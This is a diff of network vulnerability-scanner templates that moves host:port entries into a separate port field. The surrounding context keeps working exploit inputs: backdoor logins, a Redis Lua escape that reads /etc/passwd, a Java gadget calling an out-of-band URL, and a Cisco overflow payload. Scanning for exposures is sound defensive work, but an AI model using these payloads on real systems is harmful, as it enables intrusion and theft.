removed duplicate network request

network/backdoor/backdoored-zte.yaml

@@ -21,8 +21,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:23"
-
+    port: 23
     inputs:
       - data: "root\r\n"
       - data: "Zte521\r\n\r\n"

network/backdoor/vsftpd-backdoor.yaml

@@ -21,9 +21,8 @@ tcp:
       - data: "USER anonymous\r\nPASS anonymous\r\n"
 
     host:
-      - "{{Host}}:21"
       - "{{Hostname}}"
-
+    port: 21
     matchers:
       - type: word
         words:

network/cves/2001/CVE-2001-1473.yaml

@@ -26,7 +26,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:22"
+    port: 22
     matchers:
       - type: word
         words:

network/cves/2011/CVE-2011-2523.yaml

@@ -32,7 +32,8 @@ variables:
   cmd: "cat /etc/passwd" # shows the the user and group names and numeric IDs
 tcp:
   - host:
-      - "{{Host}}:21"
+      - "{{Hostname}}"
+    port: 21
     inputs:
       - data: "USER letmein:)\r\nPASS please\r\n"
         read: 100

network/cves/2015/CVE-2015-3306.yaml

@@ -27,7 +27,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:21"
+    port: 21
     inputs:
       - data: "site cpfr /proc/self/cmdline\r\n"
         read: 1024

network/cves/2016/CVE-2016-2004.yaml

@@ -28,7 +28,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:5555"
+    port: 5555
     inputs:
       - data: "00000034320001010101010100010001000100010100203238005c7065726c2e65786500202d6573797374656d282777686f616d69272900" # whoami
         type: hex

network/cves/2016/CVE-2016-3510.yaml

@@ -33,7 +33,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:7001"
+    port: 7001
     read-size: 4
 
     matchers:

network/cves/2017/CVE-2017-3881.yaml

@@ -28,7 +28,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:23"
+    port: 22
     inputs:
       - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
         read: 1024

network/cves/2017/CVE-2017-5645.yaml

@@ -31,7 +31,7 @@ variables:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:4712"
+    port: 4712
     inputs:
       - data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"
     read-size: 100

network/cves/2018/CVE-2018-2893.yaml

@@ -38,7 +38,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:7001"
+    port: 7001
 
     matchers:
       - type: word

network/cves/2020/CVE-2020-11981.yaml

@@ -34,7 +34,7 @@ tcp:
         read: 1024
     host:
       - "{{Hostname}}"
-      - "{{Host}}:6379"
+    port: 6379
 
     matchers-condition: and
     matchers:

network/cves/2020/CVE-2020-1938.yaml

@@ -28,9 +28,8 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Hostname}}"
-      - "{{Host}}:8009"
-      - "{{Host}}:8009"
+    port: 8009
+
     inputs:
       - data: "{{hex_decode('1234020e02020008485454502f312e310000132f6578616d706c65732f78787878782e6a73700000093132372e302e302e3100ffff00093132372e302e302e31000050000009a006000a6b6565702d616c69766500000f4163636570742d4c616e677561676500000e656e2d55532c656e3b713d302e3500a00800013000000f4163636570742d456e636f64696e67000013677a69702c206465666c6174652c207364636800000d43616368652d436f6e74726f6c0000096d61782d6167653d3000a00e00444d6f7a696c6c612f352e3020285831313b204c696e7578207838365f36343b2072763a34362e3029204765636b6f2f32303130303130312046697265666f782f34362e30000019557067726164652d496e7365637572652d52657175657374730000013100a001004a746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e3800a00b00093132372e302e302e31000a00216a617661782e736572766c65742e696e636c7564652e726571756573745f7572690000012f000a001f6a617661782e736572766c65742e696e636c7564652e706174685f696e666f0000102f5745422d494e462f7765622e786d6c000a00226a617661782e736572766c65742e696e636c7564652e736572766c65745f706174680000012f00ff')}}"
     read-size: 1024

network/cves/2020/CVE-2020-7247.yaml

@@ -28,7 +28,8 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
+
     inputs:
       - read: 1024
 

network/cves/2021/CVE-2021-44521.yaml

@@ -28,7 +28,8 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:9042"
+    port: 9042
+
     inputs:
       - data: "050000000500000000"
         type: hex

network/cves/2022/CVE-2022-0543.yaml

@@ -30,10 +30,9 @@ info:
   tags: cve,cve2022,network,redis,unauth,rce,kev
 tcp:
   - host:
-      - "{{Hostname}}"
-      - "{{Host}}:6379"
       - "tls://{Hostname}}"
-      - "tls://{{Host}}:6380"
+    port: 6380
+
     inputs:
       - data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n"
     read-size: 64

network/cves/2022/CVE-2022-24706.yaml

@@ -36,7 +36,8 @@ variables:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:9100"
+    port: 9100
+
     inputs:
       # auth
       - data: "{{name_msg}}"

network/cves/2023/CVE-2023-33246.yaml

@@ -34,7 +34,8 @@ variables:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:10911"
+    port: 10911
+
     inputs:
       - data: '{{ part_a + "{{interactsh-url}}" + "/////////////" + part_b  }}'
         read: 1024

network/default-login/ftp-anonymous-login.yaml

@@ -20,8 +20,8 @@ tcp:
         read: 1024
 
     host:
-      - "{{Host}}:21"
       - "{{Hostname}}"
+    port: 21
 
     matchers-condition: and
     matchers:

network/default-login/ftp-weak-credentials.yaml

@@ -21,7 +21,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:21"
+    port: 21
 
     attack: clusterbomb
     payloads:

network/default-login/ldap-anonymous-login.yaml

@@ -24,7 +24,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:389"
+    port: 389
     read-size: 1024
 
     matchers:

network/detection/activemq-openwire-transport-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:61616"
+    port: 61616
 
     matchers-condition: and
     matchers:

network/detection/apache-activemq-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:61613"
+    port: 61613
 
     matchers-condition: and
     matchers:

network/detection/axigen-mail-server-detect.yaml

@@ -19,7 +19,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
 
     matchers:
       - type: word

network/detection/cisco-finger-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:79"
+    port: 79
 
     matchers:
       - type: word

network/detection/clamav-detect.yaml

@@ -17,7 +17,7 @@ tcp:
       - data: "VERSION"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:3310"
+    port: 3310
 
     matchers:
       - type: regex

network/detection/cql-native-transport.yaml

@@ -25,7 +25,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:9042"
+    port: 9042
 
     matchers:
       - type: word

network/detection/detect-addpac-voip-gateway.yaml

@@ -23,7 +23,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:23"
+    port: 23
 
     matchers:
       - type: word

network/detection/detect-jabber-xmpp.yaml

@@ -21,7 +21,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:5222"
+    port: 5222
 
     matchers:
       - type: word

network/detection/dotnet-remoting-service-detect.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:8080"
+    port: 8080
 
     matchers-condition: and
     matchers:

network/detection/dropbear-cbc-ciphers.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:22"
+    port: 22
 
     matchers:
       - type: word

network/detection/esmtp-detect.yaml

@@ -24,7 +24,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
 
     matchers-condition: and
     matchers:

network/detection/expn-mail-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
 
     matchers:
       - type: word

network/detection/finger-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:79"
+    port: 79
 
     matchers:
       - type: word

network/detection/gnu-inetutils-ftpd-detect.yaml

@@ -17,8 +17,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:21"
-
+    port: 21
     matchers:
       - type: word
         words:

network/detection/gopher-detect.yaml

@@ -19,7 +19,7 @@ tcp:
       - data: "\r\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:70"
+    port: 70
 
     matchers:
       - type: dsl

network/detection/ibm-d2b-database-server.yaml

@@ -25,7 +25,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:50000"
+    port: 50000
 
     matchers-condition: and
     matchers:

network/detection/imap-detect.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:143"
+    port: 143
 
     matchers-condition: and
     matchers:

network/detection/iplanet-imap-detect.yaml

@@ -20,7 +20,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:110"
+    port: 110
 
     matchers:
       - type: word

network/detection/microsoft-ftp-service.yaml

@@ -18,7 +18,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:21"
+    port: 21
 
     matchers:
       - type: word

network/detection/mikrotik-ftp-server-detect.yaml

@@ -17,7 +17,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:21"
+    port: 21
 
     matchers:
       - type: word

network/detection/mikrotik-routeros-api.yaml

@@ -23,7 +23,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:8728"
+    port: 8728
 
     matchers:
       - type: word

network/detection/mongodb-detect.yaml

@@ -23,7 +23,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:27017"
+    port: 27017
     read-size: 2048
 
     matchers:

network/detection/msmq-detect.yaml

@@ -24,8 +24,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:1801"
-
+    port: 1801
     read-size: 2048
 
     matchers:

network/detection/mysql-detect.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:3306"
+    port: 3306
 
     matchers:
       - type: word

network/detection/openssh-detect.yaml

@@ -23,7 +23,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:22"
+    port: 22
 
     matchers:
       - type: regex

network/detection/pgsql-detect.yaml

@@ -28,7 +28,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:5432"
+    port: 5432
     read-size: 2048
 
     matchers-condition: and

network/detection/pop3-detect.yaml

@@ -24,7 +24,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:110"
+    port: 110
 
     matchers:
       - type: word

network/detection/proftpd-server-detect.yaml

@@ -17,7 +17,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:21"
+    port: 21
 
     matchers:
       - type: word

network/detection/rabbitmq-detect.yaml

@@ -20,7 +20,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:5672"
+    port: 5672
 
     matchers-condition: and
     matchers:

network/detection/rdp-detect.yaml

@@ -22,8 +22,8 @@ tcp:
     read-size: 2048
 
     host:
-      - "{{Host}}:3389"
       - "{{Hostname}}"
+    port: 3389
 
     matchers:
       - type: word

network/detection/redis-detect.yaml

@@ -19,10 +19,8 @@ tcp:
       - data: "*1\r\n$4\r\ninfo\r\n"
 
     host:
-      - "{{Hostname}}"
-      - "{{Host}}:6379"
-      - "tls://{Hostname}}"
-      - "tls://{{Host}}:6380"
+      - "tls://{{Host}}"
+    port: 6380
     read-size: 1024
 
     matchers:

network/detection/riak-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:8087"
+    port: 8087
 
     read-size: 2048
     matchers:

network/detection/rpcbind-portmapper-detect.yaml

@@ -23,7 +23,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:111"
+    port: 111
 
     matchers:
       - type: word

network/detection/rsyncd-service-detect.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:873"
+    port: 873
 
     matchers:
       - type: word

network/detection/rtsp-detect.yaml

@@ -25,7 +25,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:554"
+    port: 554
     read-size: 1024
 
     matchers:

network/detection/samba-detect.yaml

@@ -21,8 +21,7 @@ tcp:
         type: hex
     host:
       - "{{Hostname}}"
-      - "{{Host}}:139"
-
+    port: 139
     matchers-condition: and
     matchers:
       - type: word

network/detection/sap-router.yaml

@@ -17,7 +17,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:3299"
+    port: 3299
     read-size: 1024
 
     matchers:

network/detection/smb-detect.yaml

@@ -17,7 +17,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:445"
+    port: 445
 
     matchers:
       - type: word

network/detection/smtp-detect.yaml

@@ -15,7 +15,8 @@ tcp:
       - data: "\r\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
+
     matchers:
       - type: word
         words:

network/detection/sshd-dropbear-detect.yaml

@@ -18,7 +18,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:22"
+    port: 22
 
     matchers:
       - type: word

network/detection/starttls-mail-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
 
     matchers:
       - type: word

network/detection/teamspeak3-detect.yaml

@@ -17,7 +17,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:2002"
+    port: 2002
 
     matchers:
       - type: word

network/detection/telnet-detect.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:23"
+    port: 23
 
     matchers:
       - type: word

network/detection/totemomail-smtp-detect.yaml

@@ -17,7 +17,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
 
     matchers:
       - type: word

network/detection/vmware-authentication-daemon-detect.yaml

@@ -18,7 +18,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:902"
+    port: 902
 
     matchers:
       - type: word

network/detection/vnc-service-detect.yaml

@@ -15,8 +15,8 @@ tcp:
   - inputs:
       - data: "\r\n"
     host:
-      - "{{Host}}:5900"
       - "{{Hostname}}"
+    port: 5900
 
     matchers:
       - type: word

network/detection/xlight-ftp-service-detect.yaml

@@ -18,7 +18,7 @@ tcp:
       - data: "\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:21"
+    port: 21
 
     matchers:
       - type: word

network/enumeration/beanstalk-service.yaml

@@ -20,7 +20,8 @@ tcp:
         read: 8
 
     host:
-      - "{{Host}}:11300"
+      - "{{Hostname}}"
+    port: 11300
 
     matchers:
       - type: word

network/enumeration/kafka-topics-list.yaml

@@ -23,7 +23,8 @@ tcp:
         read: 1024
 
     host:
-      - "{{Host}}:9092"
+      - "{{Hostname}}"
+    port: 9092
 
     matchers-condition: or
     matchers:

network/enumeration/mongodb-info-enum.yaml

@@ -25,7 +25,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:27017"
+    port: 27017
     read-size: 2048
 
     matchers:

network/enumeration/niagara-fox-info-enum.yaml

@@ -19,7 +19,7 @@ tcp:
       - data: "fox a 1 -1 fox hello\n{\nfox.version=s:1.0\nid=i:1\n};;\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:1911"
+    port: 1911
 
     matchers:
       - type: word

network/enumeration/psql-user-enum.yaml

@@ -21,7 +21,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:5432"
+    port: 5432
 
     attack: clusterbomb
     payloads:

network/enumeration/smtp-commands-enum.yaml

@@ -23,7 +23,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
 
     matchers:
       - type: word

network/enumeration/smtp/smtp-user-enum.yaml

@@ -23,7 +23,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:25"
+    port: 25
 
     attack: batteringram
     payloads:

network/exposures/cisco-smi-exposure.yaml

@@ -26,7 +26,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:4786"
+    port: 4786
 
     matchers:
       - type: word

network/exposures/exposed-adb.yaml

@@ -23,7 +23,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:5555"
+    port: 5555
 
     matchers:
       - type: word

network/exposures/exposed-dockerd.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:2375"
+    port: 2375
 
     matchers:
       - type: word

network/exposures/exposed-redis.yaml

@@ -20,10 +20,8 @@ tcp:
       - data: "info\r\nquit\r\n"
 
     host:
-      - "{{Hostname}}"
-      - "{{Host}}:6379"
       - "tls://{Hostname}}"
-      - "tls://{{Host}}:6380"
+    port: 6380
     read-size: 2048
 
     matchers-condition: and

network/exposures/exposed-zookeeper.yaml

@@ -17,7 +17,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:2181"
+    port: 2181
     read-size: 2048
 
     matchers:

network/misconfig/apache-dubbo-unauth.yaml

@@ -21,7 +21,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:20880"
+    port: 20880
     read-size: 2048
 
     matchers:

network/misconfig/apache-rocketmq-broker-unauth.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:10911"
+    port: 10911
     read-size: 2048
 
     matchers-condition: and

network/misconfig/clamav-unauth.yaml

@@ -22,7 +22,7 @@ tcp:
       - data: "SCAN /nonexistent/{{to_lower(rand_text_alpha(10))}}\r\n"
     host:
       - "{{Hostname}}"
-      - "{{Host}}:3310"
+    port: 3310
     read-size: 48
 
     matchers:

network/misconfig/clickhouse-unauth.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:9000"
+    port: 9000
 
     read-size: 100
     matchers:

network/misconfig/dropbear-weakalgo.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:22"
+    port: 22
 
     matchers:
       - type: word

network/misconfig/dropbear-weakmac.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:22"
+    port: 22
 
     matchers-condition: and
     matchers:

network/misconfig/ganglia-xml-grid-monitor.yaml

@@ -17,7 +17,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:8649"
+    port: 8649
     read-size: 2048
 
     matchers:

network/misconfig/memcached-stats.yaml

@@ -16,7 +16,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:11211"
+    port: 11211
     read-size: 2048
 
     matchers:

network/misconfig/mongodb-unauth.yaml

@@ -21,7 +21,8 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:27017"
+    port: 27017
+
     read-size: 2048
     matchers:
       - type: word

network/misconfig/mysql-native-password.yaml

@@ -18,7 +18,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:3306"
+    port: 3306
 
     matchers:
       - type: word

network/misconfig/printers-info-leak.yaml

@@ -16,7 +16,9 @@ tcp:
   - inputs:
       - data: "@PJL INFO STATUS\n"
     host:
-      - "{{Host}}:9100"
+      - "{{Hostname}}"
+    port: 9100
+
     matchers:
       - type: word
         words:

network/misconfig/sap-router-info-leak.yaml

@@ -19,7 +19,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:3299"
+    port: 3299
     read-size: 2048
 
     matchers:

network/misconfig/tidb-native-password.yaml

@@ -16,7 +16,7 @@ info:
 tcp:
   - host:
       - "{{Hostname}}"
-      - "{{Host}}:4000"
+    port: 4000
 
     matchers:
       - type: word

network/misconfig/tidb-unauth.yaml

@@ -18,7 +18,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:4000"
+    port: 4000
 
     read-size: 1024
 

network/misconfig/unauth-psql.yaml

@@ -24,7 +24,7 @@ tcp:
         read: 1024
     host:
       - "{{Hostname}}"
-      - "{{Host}}:5432"
+    port: 5432
 
     matchers-condition: and
     matchers:

network/vulnerabilities/clockwatch-enterprise-rce.yaml

@@ -22,7 +22,7 @@ tcp:
 
     host:
       - "{{Hostname}}"
-      - "{{Host}}:1001"
+    port: 1001
 
     matchers-condition: and
     matchers: